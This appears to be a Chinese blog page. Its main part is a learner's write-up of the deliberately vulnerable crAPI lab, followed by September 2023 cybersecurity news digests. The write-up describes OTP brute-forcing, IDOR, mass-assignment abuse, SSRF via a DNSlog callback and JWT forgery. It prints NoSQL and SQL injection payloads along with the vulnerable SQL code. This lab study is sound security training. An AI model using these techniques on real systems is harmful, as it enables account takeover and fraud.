crAPI靶场学习记录
靶场搭建 https://github.com/C2yb8er/crAPIlabs(我fork了一份) docker安装,笔者是用的wsl+docker. [lab0:初始账户 ] 注册一个账户,邮箱为mailto:API@qq.com,密码为Admin@123 登陆后访问对应IP的8025端口,接收邮件获取车辆信息。 [lab1:访问其它用户车辆的详细信息 ] 登录后首先找到泄露其它用户的车辆id的接口。进入论坛主页点击某一个论坛文章发现此时的URL为: 于是试着抓一下包,看能返回什么,可以看到已经返回了该用户的隐私信息: 进一步我们猜测一下直接抓论坛首页试试: 在这里我们就得到了demo用户的vehicleid 信息 要查车辆信息,现在我们只有Dashboard页面存在车辆信息,我们尝试抓包这个页面,抓了下首页发现是应该根据我们当前用户的Cookie来返回的,我们再找找有没有其他地方: 我们将其替换为demo用户的vehicleid 信息54e7994a-e14e-4ee6-a46d-235ca3fd0eed [lab2:访问其它用户的机械报告 ] 在提交的Json数据中发现危险数据: [lab3: 重置其它用户的密码 ] 退出登录,点击忘记密码,输入<mailto:API@qq.com,点击Sent OTP,在后台查看验证码只有四位,于是准备爆破 填写表单,密码修改为Admin@456 ,提交抓包查看: 多交几次看看有没有限制爆破: 由于是API的靶场,我们试试换个API的版本试试: 开始着手爆破,选择狙击手模式即可,导入我们从0到9999的字典开始爆破: 可以看到原来的密码已经不能登录了: [lab4: 找到泄露其它用户敏感信息的API接口 ] 同lab1中的论坛页面信息泄露 [lab5: 找到泄露视频内部属性的API接口 ] 感觉这个接口比较鸡肋 懒得按这个按钮才弹出的上传视频选项,于是我选择修改前端删掉hidden部分就可以: lab6: 使用 "contact mechanic"功能完成第7[层DoS] 在提交的Json数据中发现危险数据: 我们尝试修改,再重新提交: [lab7:删除另一个用户的视频 ] 这个API危害挺大 还是lab5处的抓包,我们修改一下协议,把PUT修改为OPTIONS HTTP中的OPTIONS方法是一种用于获取目标资源所支持的HTTP方法列表的请求方法。它允许客户端向服务器查询对特定资源所支持的请求方法,以确定在不实际发送请求的情况下,可以对该资源执行哪些操作。 OPTIONS请求的主要用途包括: CORS(跨域资源共享):在进行跨域请求时,浏览器会首先发送一个OPTIONS请求,以确定服务器是否允许发送实际的跨域请求。服务器可以通过返回特定的响应头(如Access-Control-Allow-Methods)来指示允许的请求方法。 服务器功能查询:客户端可以使用OPTIONS请求向服务器查询特定资源支持的HTTP方法列表。这对于动态确定可以执行的操作非常有用,可以根据服务器返回的允许的方法列表来自适应地构建请求。 API文档和发现:OPTIONS方法还可以用于提供API文档和服务发现功能。通过在OPTIONS响应中包含有关资源的元数据,例如支持的方法、请求头等信息,客户端可以获得有关API的更多信息,以便正确使用和调用API。 GET:用于从服务器获取资源。客户端发送一个GET请求来获取指定URI的资源。GET请求是幂等的,即多次发送相同的GET请求应该返回相同的响应。 POST:用于向服务器提交数据,创建新资源或触发服务器的处理操作。POST请求将数据作为请求体发送给服务器,通常用于提交表单数据、上传文件等。 PUT:用于向服务器更新或替换资源。PUT请求将请求体中的数据保存到服务器上指定的URI位置。如果URI不存在,则可以创建新资源;如果URI已存在,则将其替换为请求的内容。 DELETE:用于删除服务器上的资源。DELETE请求用于删除指定URI的资源。 OPTIONS:用于获取目标资源所支持的HTTP方法列表。OPTIONS请求允许客户端查询服务器对特定资源支持的请求方法,以确定可以对该资源执行哪些操作。 HEAD:与GET方法类似,但不返回响应体,仅返回响应头。HEAD请求用于获取关于资源的元数据,例如响应头中的信息,而无需传输整个响应体。 PATCH:用于对服务器上的资源进行局部更新。PATCH请求仅对资源进行部分修改,而不是替换整个资源。 除了上述方法外,HTTP/1.1 规范还定义了其他一些请求方法,如: TRACE:用于在请求往返的路径上执行一个追踪。它通常用于诊断和调试,以确定请求如何通过代理服务器和中间节点传输。 CONNECT:用于建立与目标主机的隧道连接,通常用于通过代理服务器建立安全的HTTPS连接。 权限不足说明需要用admin的身份: 后续通过修改videos/ 后的ID可以实现任意视频的删除 [lab8: 免费获得一件物品 ] 点击后抓包: 修改请求方式为GET: 我们可以敏锐地观察到返回的Json数据中有一个status数据,明显表示着已经订购的信息。回到购买界面,我们看到还有Return按钮,我们点击后抓包看看: 直接切换成GET请求爆出了无权使用的消息,不慌张我们试试尝试着先把这个货品退回再用之前的方式利用 order_id进行查看,发现状态确实发生了改变。 这里我们大胆猜想退回的状态就是returned进行修改试试,注意由于status是原来就有的数据,所以这里我们需要用PUT协议进行提交而不是POST协议: PUT和POST是HTTP请求方法,用于向服务器提交数据。它们在语义和使用场景上有以下区别: 目的:POST用于向服务器提交数据,请求服务器对数据进行处理。通常用于创建新资源、提交表单数据、发送评论等。PUT用于向服务器更新或替换指定URI的资源。如果URI不存在,则可以创建新资源;如果URI已存在,则将其替换为请求的内容。 幂等性:POST请求不是幂等的,即多次发送相同的POST请求可能会产生不同的结果。每次发送POST请求,服务器可能会创建新的资源、执行不同的操作或返回不同的响应。PUT请求是幂等的,即多次发送相同的PUT请求应该产生相同的结果。每次发送PUT请求,服务器应该将请求的内容保存在指定的URI位置,因此多次请求会更新或替换相同的资源。 数据位置:POST请求将数据包含在请求体中发送给服务器。数据的格式可以是表单数据、JSON、XML等。PUT请求也将数据包含在请求体中,但是它通常用于指定URI位置的资源,并将请求的内容保存在该位置。 资源标识:POST请求通常由服务器决定资源的标识,并返回新资源的标识符(如生成的ID)。 PUT请求通常由客户端指定资源的标识,即URI中的位置。 总结来说,POST用于提交数据进行处理,通常用于创建新资源或执行操作,而PUT用于更新或替换指定URI的资源。POST请求不是幂等的,而PUT请求是幂等的。根据具体的应用场景和资源操作需求,选择适当的请求方法来进行数据提交和资源更新。 从返回的数据可以看到已经修改成功了,也就是说我们空少套白狼了4个椅子 [lab9:将您的结余增加1000元或以上 ] 同样地利用上面的API,因为我们发现数据不仅可以提交status还可以提交quantity。 先将quantity改为100,status改为delivered,这样我们就可以不花钱就点了100个价值10元的椅子 然后修改状态为returned,就可以退钱!!!🤑 [lab10: 更新内部视频属性 ] 同lab5的抓包,我们可以看到返回的Json数据有如下几种: 所以我们需要更改的话就使用PUT协议,在请求的Json数据中指定就好。 http://www.baidu.com/同lab2接口与抓包,抓包后我们在请求信息中发现了关键信息: 为了验证这个猜想,我们使用DNSlog进行验证,使用工具:https://dig.pm/ DNSlog是一种用于收集和分析DNS查询的日志的技术和工具。在网络通信中,DNS(DomainNameSystem)用于将域名解析为对应的IP地址。DNSlog通过设置恶意DNS服务器或域名来截获应用程序或系统发出的DNS查询请求,并将查询信息记录到日志中。 DNSlog注入是一种利用应用程序对DNS查询结果的处理不当而导致的安全漏洞。它通常发生在应用程序通过DNS查询获取动态资源时,没有对返回的DNS响应进行充分的验证和过滤。攻击者可以通过构造恶意的DNS查询请求,将恶意内容注入到应用程序的响应中,从而实现攻击目的。 复制subdomain并加上http://后替换mechanic_api的值 lab12: 想办法在不知道优惠券代码的情况下获[得免费优惠券] 先找到输出优惠卷代码的接口,进行抓包查看数据: 查了一下文档,考点是NoSQL Injection,之前都学的是SQL注入基于MySQL的这里来个NoSQL给我整不会了,先学一下NoSQL的基本知识: NoSQL注入(NoSQLInjection)是一种攻击技术,针对使用NoSQL数据库的应用程序而言,类似于传统SQL注入攻击。NoSQL注入利用了应用程序对用户输入数据的处理不当,以执行未授权的操作或绕过访问控制。 NoSQL数据库与传统关系型数据库不同,其查询语言和数据存储机制也不同。然而,一些NoSQL数据库仍然需要处理用户提供的数据,如查询参数、过滤条件等。如果应用程序没有正确验证和过滤这些用户输入数据,就可能存在NoSQL注入漏洞。 NoSQL注入攻击的原理是攻击者通过在应用程序发送给NoSQL数据库的查询中注入恶意的数据,以干扰查询的逻辑。攻击者可以利用以下方法进行注入攻击: 注入查询语句:攻击者通过在查询中注入恶意操作符、查询语句或特殊字符,来修改查询的逻辑,获取敏感数据或执行未授权的操作。 绕过访问控制:攻击者可以通过注入特定的查询条件来绕过应用程序的访问控制机制,获取未授权的数据或执行特权操作。 盲注入:在一些情况下,应用程序可能没有直接将查询结果返回给用户,而是根据查询的结果来进行后续操作。攻击者可以通过注入特定的查询条件,观察应用程序的行为差异,从而推断出查询的结果或执行特定操作。 NoSQL(Not OnlySQL)是一类非关系型数据库,与传统的关系型数据库(如MySQL、Oracle)相对应。NoSQL数据库设计的初衷是解决关系型数据库在大规模数据存储和高并发访问方面的局限性。 NoSQL数据库采用了不同的数据模型和存储机制,以满足特定的应用需求。与传统关系型数据库使用表格结构和SQL查询语言不同,NoSQL数据库通常采用以下数据模型之一: 键值存储(Key-ValueStores):使用简单的键值对结构存储数据,通过唯一的键来访问数据。例如,Redis、DynamoDB。 文档存储(DocumentStores):以类似JSON或XML的文档格式存储数据,每个文档都有唯一的标识符。例如,MongoDB、CouchDB。 列族存储(Column FamilyStores):将数据组织为列族的形式,每个列族包含不同的列和行。例如,HBase、Cassandra。 图形数据库(GraphDatabases):用于处理图形结构数据,其中节点和边表示实体和它们之间的关系。例如,Neo4j、JanusGraph。 NoSQL数据库具有以下特点和优势: 可扩展性:NoSQL数据库通常具有良好的横向扩展性,可以轻松处理大规模数据和高并发访问。 灵活的数据模型:NoSQL数据库提供了灵活的数据模型,适应不同类型和结构的数据,无需事先定义严格的表格结构。 高性能:由于去除了复杂的关系模型和复杂的查询语言,NoSQL数据库可以实现更高的读写性能。 弱一致性:一些NoSQL数据库采用了弱一致性模型,允许数据在不同节点之间存在一定的延迟和不一致性,以提高性能和可用性。 分布式架构:NoSQL数据库常用于分布式环境中,数据可以在多个节点上进行分布和复制,提供高可用性和容错性。 我们在这里使用了两个数据库软件分别是Postgresdb 和Mongodb,通过我们之前的响应信息的Json格式可以判断。但是这里的Postgresdb常简称为Postgres)是一个开源的关系型数据库管理系统(RDBMS),而不是NoSQL数据库。 经过查阅docker的日志,很神奇我并没有使用这个db,可能是我们的模块暂未使用它吧。 故我们只需要面对Mongodb进行NoSQL注入就行了原本的Json提交数据是: 这表示MongoDB将搜索集合中满足查询条件的文档,并返回结果集中包含"coupon_code"字段值为"1234"的文档。 在学习了最基本的NoSQL注入的语句和Mongodb数据的结构后我构造了payload: 1 {"coupon_code": {"$ne": "hacked by c2yb8er"}} 这个查询条件的意思是,查找"coupon_code"字段值不等于hacked by c2yb8er 的文档。 其中$ne 操作符表示不等于的意思 https://xz.aliyun.com/t/9908#toc-4lab13: 找到一种通过修改数据库来兑换已经领取的优惠券的方法 有点疑惑,实战的时候找不到这种文档怎么办? 查看文档发现一个接口/workshop/api/shop/apply_coupon 我很懵逼,为什么我明明用的Mongodb,不应该是NoSQL注入吗?这里为什么来了一个MySQL中的字符型注入?查阅一下相应代码,真相水落石出了! class ApplyCouponView(APIView): """Apply Coupon View to increase the available credit""" @jwt_auth_required    def post(self, request, user=None): """    api for checking if coupon is already claimed    if claimed before: returns an error message else: increases the user credit   :param request: htt 注入点是这段代码: with connection.cursor() as cursor:    cursor.execute("SELECT coupon_code from applied_coupon WHERE user_id = "\        + str(user.id)\       + " AND coupon_code = '"\        + coupon_request_body['coupon_code']\        + "'") 当我传入如下数据后: {"coupon_code":"1'or '1'='1","amount":1} 这里执行的SQL语句就会变成这样: SELECT coupon_code from applied_coupon WHERE user_id = 'My_id' AND coupon_code = '1'or '1'='1' 破案了!我还以为我刚刚学的NoSQL注入白学了!🥺 [lab14: 查找不为用户执行身份验证检查的接口 ] 同lab3中的/workshop/api/mechanic/mechanic_report?report_id=6 同lab8中的/workshop/api/shop/orders/1 [lab15:找到伪造有效 JWT 令牌的方法 ] [JWT Algorithm Confusion Vulnerability] https://auth0.com/docs/secure/tokens/json-web-tokens/json-web-key-sets:Auth0exposes a JWKS endpoint for each tenant, which is found at https://{yourDomain}/.well-known/jwks.json . This endpoint willcontain the JWK used to verify all Auth0-issued JWTs for this tenant. 通过访问http://localhost:8888/.well-known/jwks.json 获取JWT的公钥 到 JWT选项卡,点击New RSA Key 复制 JWK key 内容 之后再右键我们新建的Key Copy Public Key as Pem 去Decoder选项卡对这个 PEM 密钥进行 Base64 编码,然后复制生成的字符串 再次回到Burp 主选项卡栏中 的 JWT Editor Keys选项卡,点击New SymmetricKey后Generate,将 k 属性的生成值替换为PEM Base64编码 然后在burp的请求中可以发现 json webtoken选项卡,在选择卡左下角处也可以看到对 json web token 的攻击选项。 [Invalid Signature Vulnerability] 我们在访问Dashboard 的时候进行抓包,进入Repeater 中的JSON Web Token页面中: 首先我们修改Payload中的sub为其他的账户试试:成功越权访问到其他用户的信息: 实际上就是通过修改下图红框内的内容进行的验证: 现在我们将Header中的算法改为不启用,点击Attack中的"none" SigningAlgorithm ,发送包后发现我们的验证字段值发生了较大的变化: 但是这个只是一个特殊的接口漏洞,在这个接口中可以用这种方式破解JWT进行越权访问,其他接口就不行了: [AddLab1: 增加一个商品 ] 对首页的Shop 进行抓包: 查看相应信息发现同时也支持POST协议,把GET改为POST试试: 提示缺少三个参数,我们补充好试试: 添加成功! [AddLab2:支付漏洞 ] 同lab8抓包,修改quantity为负数: [总结] 通过本次靶场学习我对API安全有了更深的认识,之前觉得比较抽象。同时也对HTTP中的GET\POST\PUT\DELETE\OPTIONS等协议有了更深刻的理解。 同时在分析lab有些题目的时候,我学习了NoSQL注入的方式,对Mongodb这些非关系型数据库有了基本的认识。同时,精进了我对BurpSuite的操作。 美中不足的就是我对 JWT相关知识不太熟悉,打完靶场后也没太懂这个东西有什么用处。这是我后面需要进行补充学习的。 总的来说,本靶场认真打下来的话,我相信你会对API安全有不一样的认识和理解!
网络安全日报 2023年09月12日
1、研究人员披露利用Teams推送DarkGate恶意软件网络钓鱼攻击 https://www.truesec.com/hub/blog/darkgate-loader-delivered-via-teams 一个新的网络钓鱼活动正在滥用 Microsoft Teams 消息来发送安装 DarkGate Loader 恶意软件的恶意附件。该活动于 2023 年 8 月下旬开始,当时发现两个受感染的外部 Office 365 帐户向其他组织发送了 Microsoft Teams 网络钓鱼消息。这些帐户被用来诱骗其他 Microsoft Teams 用户下载并打开名为“Changes to the vacation schedule.”的 ZIP 文件。单击附件会触 2、思科警告勒索软件利用其设备VPN零日漏洞发起网络攻击 https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ravpn-auth-8LyfCkeC#fs 思科警告称,其思科自适应安全设备 (ASA) 和思科 Firepower 威胁防御 (FTD) 中存在 CVE-2023-20269 零日漏洞,勒索软件操作会积极利用该漏洞来获取对企业网络的初始访问权限。中等严重性的零日漏洞影响 Cisco ASA 和 Cisco FTD 的 VPN 功能,允许未经授权的远程攻击者对现有帐户进行暴力攻击。通过访问这些帐户,攻击者 3、研究人员披露新型HijackLoader模块化恶意软件加载程序 https://thehackernews.com/2023/09/new-hijackloader-modular-malware-loader.html 一种名为 HijackLoader 的新型恶意软件加载程序正在网络犯罪社区中获得关注,它可以提供各种有效负载,例如DanaBot、SystemBC和RedLine Stealer。尽管 HijackLoader 不包含高级功能,但它能够使用各种模块进行代码注入和执行,因为它使用模块化架构,这是大多数加载器不具备的功能。研究人员于 2023 年 7 月首次发现该恶意软件,它采用了多种技术来隐藏在雷达之下。这涉及使用系统调用来逃避安全解决方 4、谷歌修复了 2023 年第四个 Chrome 零日漏洞 https://securityaffairs.com/150657/hacking/google-fixed-the-fourth-chrome-zero-day-of-2023.html Google 推出了紧急安全更新,以解决在野外被积极利用的新 Chrome 零日漏洞 (CVE-2023-4863)。 5、英国和美国制裁了 11 名俄罗斯 TRICKBOT 团伙成员 https://securityaffairs.com/150632/cyber-crime/uk-us-sanctioned-11-trickbot-gang-members.html 英国和美国政府又制裁了 11 名被指控为俄罗斯 TrickBot 网络犯罪团伙成员的个人。 6、越南黑客通过 Facebook Messenger 部署窃取程序 https://thehackernews.com/2023/09/vietnamese-hackers-deploy-python-based.html 一种新的网络钓鱼攻击利用 Facebook Messenger 传播来自“大量虚假和被劫持的个人帐户”的带有恶意附件的消息,最终目标是接管目标帐户。 7、谷歌应用商店中惊现Telegram间谍软件,下载量超数百万次! https://www.freebuf.com/news/377615.html 近日,谷歌应用商店中出现了伪装成Telegram修订版的间谍软件,该软件可入侵安卓设备并获取敏感信息。卡巴斯基安全研究员Igor Golovin表示,这种恶意软件不仅可以窃取用户的姓名、ID、联系人、电话号码和聊天信息,还能将这些信息传输至恶意行为者的服务器上。卡巴斯基将这种活动命名为 Evil Telegram。 8、Google 开始对更多 Chrome 用户启用隐私沙盒 https://arstechnica.com/?p=1966378 隐私沙盒(Privacy Sandbox)将取代第三方 Cookie,它通过用户的浏览历史跟踪用户的兴趣,允许广告商根据兴趣展示广告,而用户可以管理兴趣并对其归类分组。 9、Google Looker Studio 遭加密货币网络钓鱼攻击 https://www.bleepingcomputer.com/news/security/google-looker-studio-abused-in-cryptocurrency-phishing-attacks/ 网络犯罪分子正在滥用 Google Looker Studio 创建假冒加密货币网络钓鱼网站,对数字资产持有者进行网络钓鱼,从而导致帐户被接管和财产损失。 10、调查称全球多所顶尖高校网站存在网络攻击风险 https://www.freebuf.com/news/377626.html Cyber News的一项调查研究显示,全球多所顶尖高校的网站未能及时更新安全补丁,存在敏感信息泄露,甚至被攻击者全面接管的风险。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年09月11日
1、伊朗黑客利用Zoho和Fortinet漏洞入侵美国航空组织 https://www.cybercom.mil/Media/News/Article/3518476/cnmf-and-partners-illuminate-iranian-exploitation-efforts/ CISA、FBI 和美国网络司令部周四发布的一份联合报告显示,国家支持的黑客组织利用针对 Zoho 和 Fortinet 关键漏洞的漏洞攻击了美国一家航空组织。此次违规事件背后的威胁组织尚未被命名,但虽然联合通报没有将攻击者与特定国家联系起来,但美国网络司令部的新闻稿将 攻击者与伊朗的利用活动联系起来。 2、朝鲜攻击者针对安全研究人员进行网络攻击活动 https://blog.google/threat-analysis-group/active-north-korean-campaign-targeting-security-researchers/ 朝鲜攻击者使用 X(以前称为 Twitter)等社交媒体网站与目标建立融洽的关系。在一个案例中,他们进行了长达数月的对话,试图与安全研究人员就共同感兴趣的话题进行合作。通过 X 进行初步联系后,他们转向使用 Signal、WhatsApp 或 Wire 等加密消息应用程序。一旦与目标研究人员建立了关系,威胁行为者就会发送一个恶意文件,其中包含流行软件包中的至少一个 0day。成功利用后,s 3、攻击者利用苹果零点击漏洞部署Pegasus间谍软件 https://citizenlab.ca/2023/09/blastpass-nso-group-iphone-zero-click-zero-day-exploit-captured-in-the-wild/ 研究人员表示,苹果今天在紧急安全更新中修复的两个零日漏洞被滥用,用作零点击漏洞利用链的一部分,将 NSO Group 的 Pegasus 商业间谍软件部署到打过补丁的 iPhone 上。这两个漏洞分别为 CVE-2023-41064 和 CVE-2023-41061,允许攻击者通过包含恶意图像的 PassKit 附件感染运行 iOS 16.6 且属于华盛顿特区民间社会组织的完整补丁 4、W3LL Store地下市场售卖针对Microsoft 365帐户的恶意软件 https://www.group-ib.com/media-center/press-releases/w3ll-phishing-report/ 过去六年来,一个以前未记录的“网络钓鱼帝国”与旨在破坏 Microsoft 365 商业电子邮件帐户的网络攻击有关。攻击者创建了一个名为 W3LL Store 的隐藏地下市场,该市场为至少 500 名攻击者组成的封闭社区提供服务,这些攻击者可以购买名为 W3LL Panel 的自定义网络钓鱼工具包(旨在绕过 MFA),以及其他 16 个完全定制的工具商业电子邮件泄露(BEC)攻击,据估计,2022 年 10 月至 2022 年 10 月期间,网 5、攻击者滥用Apache RocketMQ存在的严重漏洞 https://www.cisa.gov/news-events/alerts/2023/09/06/cisa-adds-one-known-vulnerability-catalog 美国网络安全和基础设施安全局 (CISA) 已在其已知被利用漏洞 (KEV) 目录中添加了一个严重程度为 CVE-2023-33246 的问题,该问题影响 Apache 的 RocketMQ 分布式消息传递和流媒体平台。目前,多个威胁参与者可能正在利用该漏洞在受影响的系统(RocketMQ 版本 5.1.0 及更低版本)上安装各种有效负载。无需身份验证即可利用该漏洞,并且 至少从 6 月份起, DreamBu 6、谷歌即将启用Chrome浏览器实时网络钓鱼防护 https://blog.google/products/chrome/Google-chrome-new-features-redesign-2023/ 谷歌今天宣布,它将弃用标准的 Google Chrome 安全浏览功能,并在未来几周内让所有人使用增强型安全浏览功能,为所有用户在浏览网页时提供实时网络钓鱼防护。自 2007 年以来,Google Chrome 就利用了安全浏览安全功能,保护用户免受推送恶意软件或显示网络钓鱼页面的恶意网站的侵害。浏览网页时,Chrome 会检查您正在访问的域是否在本地恶意 URL 列表中,如果是,则会阻止该网站并显示警告。但是,由于不良 URL 列表是在 7、研究人员披露针对Mac用户的Atomic Stealer恶意软件新变种 https://www.malwarebytes.com/blog/threat-intelligence/2023/09/atomic-macos-stealer-delivered-via-malvertising 研究人员最近捕获了一场同时传播 Windows 和 Mac 恶意软件的活动,后者是适用于 Mac 的新型但流行的 Atomic Stealer (AMOS) 的更新版本。AMOS 于 2023 年 4 月首次被宣传为 Mac OS 的窃取者,重点关注加密资产,能够从浏览器和苹果钥匙串中获取密码,并具有文件抓取器。开发人员一直在积极致力于该项目,并于六月底发布了新版本。购买该工 8、思科BroadWorks平台存在漏洞可导致身份验证绕过 https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-bw-auth-bypass-kCggMWhX 影响思科 BroadWorks 应用交付平台和思科 BroadWorks Xtended 服务平台的严重漏洞可能允许远程攻击者伪造凭证并绕过身份验证。思科 BroadWorks 是面向企业和消费者的云通信服务平台,而上述两个组件用于应用程序管理和集成。该漏洞由思科安全工程师内部发现,编号为 CVE-2023-20238,CVSS 最高评分为 10.0(严重)。通过利用该漏洞 9、强生公司披露IBM数据泄露对患者造成的影响 https://www.prnewswire.com/news-releases/ibm-addresses-data-incident-for-janssen-carepath-database-301919907.html 强生医疗保健系统公司(Janssen)已通知其 CarePath 客户,他们的敏感信息在涉及 IBM 的第三方数据泄露事件中遭到泄露。IBM 是强生的技术服务提供商。具体来说,它管理支持其功能的 CarePath 应用程序和数据库。CarePath 是一款应用程序,旨在帮助患者获得杨森药物、针对符合条件的处方提供折扣和节省成本的建议、提供保险范围指导以及提供药物补充和 10、勒索软件Dunghill Leak称窃取了旅行预订公司Sabre的数据 https://techcrunch.com/2023/09/06/ransomware-gang-claims-credit-for-sabre-data-breach/ 旅行预订巨头 Sabre 表示,在勒索集团的泄密网站上出现了一批据称从该公司窃取的文件后,该公司正在调查有关网络攻击的指控。Sabre 是一家旅行预订系统,也是航空旅客和预订数据的主要提供商,其软件和数据用于为航空公司和酒店预订、办理登机手续和应用程序提供支持。许多美国航空公司和连锁酒店都依赖该公司的技术。Sabre 称了解到威胁组织提出的数据泄露指控,我们目前正在调查以确定其真实性。Dunghill Leak 组织在其 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年09月08日
1、研究人员披露Camouflage Hunter组织攻击活动 https://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?seq=33936 伪装猎人(Camouflage Hunter),也称为 APT-C-60 或 APT-Q-12,自 2018 年以来一直针对中国人事咨询和贸易相关领域。自 2021 年之后,Camouflage Hunter 开始活跃在日本、新加坡、韩国。早期人们认为他们通过攻击中国的人事咨询和贸易相关领域来获取经济利益,但在2023年2月之后的攻击中,也疑似针对政治、外交和军事官员的攻击,因此他们的目标可能不是简单的经济收益。研究人员披露 Camou 2、黑客利用开源存储系统MinIO破坏企业网络 https://www.securityjoes.com/post/new-attack-vector-in-the-cloud-attackers-caught-exploiting-object-storage-services 黑客正在利用最近的两个 MinIO 漏洞来破坏对象存储系统并访问私人信息、执行任意代码,并可能接管服务器。MinIO 是一种开源对象存储服务,提供与 Amazon S3 的兼容性,并能够存储大小高达 50TB 的非结构化数据、日志、备份和容器映像。其高性能和多功能性,特别是对于大规模 AI/ML 和数据湖应用程序,使 MinIO 成为流行的、经济高效的选择。响应 3、越南攻击者利用恶意广告针对Facebook企业帐户发起攻击 https://thehackernews.com/2023/09/vietnamese-cybercriminals-targeting.html 与越南网络犯罪生态系统相关的恶意行为者正在利用 Meta 旗下的 Facebook 等社交媒体平台上的广告作为载体来传播恶意软件。攻击者长期以来一直利用欺诈性广告作为媒介,通过诈骗、恶意广告等手段来瞄准受害者。由于 Ducktail 和 NodeStealer 等活动集群,针对 Meta Business 和 Facebook 帐户的网络攻击在过去一年中越来越流行,这些活动集群已知会袭击在 Facebook 上运营的企业和个人。在网络犯罪分子用 4、APPLE 披露了 IPHONE、MAC 中 2 个新的被利用的零日漏洞 https://securityaffairs.com/150485/hacking/apple-discloses-2-new-actively-exploited-zero-day-flaws-in-iphones-macs.html Apple 推出了紧急安全更新,以解决影响 iPhone 和 Mac 的两个新的被积极利用的零日漏洞。 5、APACHE SUPERSET 中的两个漏洞允许远程攻击服务器 https://securityaffairs.com/150461/hacking/apache-superset-flaws.html Apache Superset 是一个开源数据可视化和数据探索平台,它是用 Python 编写的,基于 Flask Web 框架。版本 2.1.1解决了两个漏洞,分别为 CVE-2023-39265 和 CVE-2023-37941,可被利用来控制 Superset 的元数据数据库。 6、Mirai 僵尸网络变种“Pandora”劫持 Android 电视进行网络攻击 https://thehackernews.com/2023/09/mirai-botnet-variant-pandora-hijacks.html 据观察,一种名为Pandora的Mirai 僵尸网络变种渗透到基于 Android 的廉价电视机和电视盒,并将它们用作僵尸网络的一部分来执行分布式拒绝服务 (DDoS) 攻击。 7、Facebook 已删除 276.7 亿虚假账户,大量真实用户被“误伤” https://www.freebuf.com/news/377332.html 据Cyber News消息,正有数以千计的用户在X(Twitter)及其他平台上表达对Facebook的不满,因为该平台在打击虚假账户时对他们的正常账户进行了“误伤”。自 2017 年 10 月以来,Facebook 已删除了 276.7 亿个虚假账户。Facebook 每个季度都会删除上亿个、有时甚至超过 10 亿个虚假账户。 8、恶意广告活动传播 Atomic Stealer macOS 恶意软件 https://thehackernews.com/2023/09/mac-users-beware-malvertising-campaign.html 个新的恶意广告活动正在分发名为Atomic Stealer(或 AMOS)的 macOS 窃取恶意软件的更新版本,这表明该恶意软件正在由其作者积极维护。Atomic Stealer 是一款现成的 Golang 恶意软件,每月售价 1,000 美元,首次曝光于 2023 年 4 月。不久之后,在野外检测到了具有扩展信息收集功能的新变体,目标是游戏玩家和加密货币用户。 9、有关英国军事站点的敏感数据可能被 LockBit 泄露 https://www.infosecurity-magazine.com/news/sensitive-data-uk-army-potentially/ 臭名昭著的LockBit勒索软件组织已经暴露了与英国军事和情报网站相关的千兆字节敏感数据。 10、垃圾邮件泛滥,二维码成为重要威胁载体 https://www.helpnetsecurity.com/2023/09/04/phishing-emails-q2-2023/ VIPRE 的一份报告显示,85% 的钓鱼电子邮件在电子邮件内容中使用了恶意链接,垃圾邮件从 2023 年第一季度到第二季度增加了 30%。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年09月07日
1、CMB网络约会平台遭遇黑客入侵导致服务中断 https://coffeemeetsbagel.zendesk.com/hc/en-us/articles/20204630281491 Coffee Meets Bagel 约会平台确认上周的服务中断是由于黑客入侵公司系统并删除公司数据造成的。 2、Chaes恶意软件的新变体针对银行和物流行业发起攻击 https://www.morphisec.com/hubfs/Morphisec_Chae$4_Threat_Profile.pdf Chaes 恶意软件以一种新的、更高级的变体形式回归,其中包括 Google DevTools 协议的自定义实现,用于直接访问受害者的浏览器功能,从而允许其使用 WebSocket 窃取数据。该恶意软件于 2020 年 11 月首次出现,目标是拉丁美洲的电子商务客户。到 2021 年底,研究人员观察到它使用 800 个受感染的 WordPress 网站来传播恶意软件,其业务显着扩大。感染后, Chaes 恶意软件会在受害者的 Chrome 浏览器中安装恶意扩 3、Atlas VPN存在零日漏洞可泄露用户真实IP地址 https://www.reddit.com/r/cybersecurity/comments/167f16e/atlasvpn_linux_client_103_remote_disconnect/ 影响 Linux 客户端的 Atlas VPN 零日漏洞仅通过访问网站即可泄露用户的真实 IP 地址。Atlas VPN 是一款 VPN 产品,提供基于 WireGuard 的经济高效的解决方案,并支持所有主要操作系统。在 Reddit 上共享的概念验证漏洞中,研究人员描述了 Atlas VPN 的 Linux 客户端(特别是最新版本 1.0.3)如何拥有一个通过端口 8076 侦听本地主机 4、谷歌解决了 ANDROID 中被利用的零日漏洞 https://securityaffairs.com/150440/hacking/september-2023-android-security-updates-0day.html Google 于 2023 年 9 月发布了 Android 安全更新,解决了数十个漏洞,其中包括一个被广泛利用的零日漏洞 CVE-2023-35674。 5、华硕路由器受到三个严重远程代码执行漏洞的影响 https://securityaffairs.com/150399/iot/asus-routers-critical-rces.html 华硕路由器 RT-AX55、RT-AX56U_V2 和 RT-AC86U 受到三个关键远程代码执行漏洞的影响,这些漏洞可能允许威胁行为者接管设备。 6、研究人员发现数以千计的热门网站存在敏感信息泄露 https://www.securityweek.com/researchers-find-thousands-of-popular-websites-leaking-secrets/ 代码安全公司 Truffle Security 警告称,Alexa 前 100 万网站列表中的数千个域正在泄露机密,包括凭据。 7、25 个主要汽车品牌在网络安全和隐私方面被 Mozilla 评为不及格 https://www.securityweek.com/25-major-car-brands-get-failing-marks-from-mozilla-for-security-and-privacy/ Mozilla 分析了 25 个主要汽车品牌,并在隐私和安全方面给所有品牌打了不及格的分数。他们收集大量的个人数据,并可以与其他人共享这些数据,而通常未经客户的明确许可。 